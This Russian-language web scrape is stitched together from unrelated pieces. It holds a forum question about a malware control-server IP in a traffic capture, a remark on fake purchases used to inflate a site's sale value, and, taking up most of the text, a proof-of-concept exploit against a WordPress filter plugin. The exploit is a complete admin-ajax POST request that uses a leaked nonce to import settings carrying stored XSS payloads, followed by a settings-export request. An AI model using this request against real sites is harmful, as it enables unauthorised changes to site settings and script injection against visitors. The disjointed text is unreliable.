а как из этого всего понять что атаковали?
Я правильно понимаю что Источник Я - атакую 91.206.178[.]219 - с порта 59585 на 443 - если по картинке судить?
Технические сведения о центре управления ВПО: IPv4-адрес: 91.206.178[.]219
Еще интересует, может быть такое, что покупки липовые, сделаны самим же продавцом со своих разных аккаунтов с целью повышения стоимости сайта?Может быть и такое. Или на фрилансе за 10 рублей нанял исполнителей и прокатил по кругу пару раз, в итоге красивые цифры готовы. Реализация зависит от сайта, но такое более чем возможно. Взгляните на "Воркзиллу", она завалена подобными объявлениями.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.tld
Content-Length: 7061
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
action=ymc_import_settings&nonce_code=c3h1a3o3s7&post_id=256¶ms={"ymc_terms"%3a["4","2","5","3","1","12","16","19","20","7","8","11","6","15","18","17","10","14","13","9"],"ymc_term_sort"%3a["4","2","5","3","1","12","16","19","20","7","8","11","6","15","18","17","10","14","13","9"],"ymc_terms_options"%3a[{"termid"%3a"4","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"2","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"5","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"3","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"1","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"12","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"16","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"19","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"20","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"7","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"8","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"11","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"6","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"15","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"18","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"17","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"10","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"14","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"13","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"9","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""}],"ymc_cpt_value"%3a"post","ymc_taxonomy"%3a["category","post_tag","post_format"],"ymc_exclude_posts"%3a"off","ymc_tax_relation"%3a"OR","ymc_filter_status"%3a"on","ymc_sort_status"%3a"off","ymc_filter_layout"%3a"filter-layout1","ymc_filter_extra_layout"%3a"filter-layout1","ymc_filter_text_color"%3a"","ymc_filter_bg_color"%3a"","ymc_filter_active_color"%3a"","ymc_multiple_filter"%3a"0","ymc_post_layout"%3a"post-layout1","ymc_post_text_color"%3a"","ymc_post_bg_color"%3a"","ymc_post_active_color"%3a"","ymc_empty_post_result"%3a"PoC%2520XSS<svg%20onload%3dalert(origin)></svg>","ymc_link_target"%3a"_blank","ymc_per_page"%3a"4","ymc_pagination_type"%3a"numeric","ymc_pagination_hide"%3a"off","ymc_sort_terms"%3a"asc","ymc_order_post_by"%3a"title","ymc_order_post_type"%3a"asc","ymc_post_status"%3a"publish","ymc_meta_key"%3a"","ymc_meta_value"%3a"","ymc_multiple_sort"%3a[{"orderby"%3a"title","order"%3a"asc"}],"ymc_special_post_class"%3a"","ymc_preloader_icon"%3a"preloader_1","ymc_filter_font"%3a"inherit","ymc_post_font"%3a"inherit","ymc_filter_search_status"%3a"on","ymc_search_text_button"%3a"Search","ymc_search_placeholder"%3a"PoC%2520XSS<svg%20onload%3dalert(origin)></svg>","ymc_autocomplete_state"%3a"0","ymc_exact_phrase"%3a"0","ymc_scroll_page"%3a"1","ymc_preloader_filters"%3a"none","ymc_preloader_filters_rate"%3a"0.5","ymc_preloader_filters_custom"%3a"","ymc_post_animation"%3a"","ymc_popup_status"%3a"off","ymc_popup_animation"%3a"normal","ymc_popup_animation_origin"%3a"center+center","ymc_popup_settings"%3a{"custom_location"%3a"center","custom_width"%3a"50","custom_width_unit"%3a"%25","custom_height"%3a"550","custom_height_unit"%3a"px","custom_bg_overlay"%3a"%2314151899"},"ymc_search_filtered_posts"%3a"0","ymc_advanced_query_status"%3a"off","ymc_query_type"%3a"query_custom","ymc_query_type_custom"%3a"","ymc_query_type_callback"%3a"","ymc_desktop_xxl"%3a"4","ymc_desktop_xl"%3a"4","ymc_desktop_lg"%3a"4","ymc_tablet_md"%3a"3","ymc_tablet_sm"%3a"2","ymc_mobile_xs"%3a"1","ymc_suppress_filters"%3a"0","ymc_post_elements"%3a{"button_text_all"%3a"All","author"%3a"show","date"%3a"show","tag"%3a"show","title"%3a"show","image"%3a"show","excerpt"%3a"show","button"%3a"show","button_text"%3a"Read+More","length_excerpt"%3a"30"},"ymc_pagination_elements"%3a{"prev_btn_text"%3a"Prev","next_btn_text"%3a"Next","load_btn_text"%3a"Load+More"}}console.log(_smart_filter_object.nonce);. Очевидно, что к этой функциональности доступ должен быть только у администратора сайта.POST /wp-admin/admin-ajax.php HTTP/1.1
Host: s-qprwta4vnmfzl.eu1.wpsandbox.org
Content-Length: 60
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
action=ymc_export_settings&nonce_code=c3h1a3o3s7&post_id=256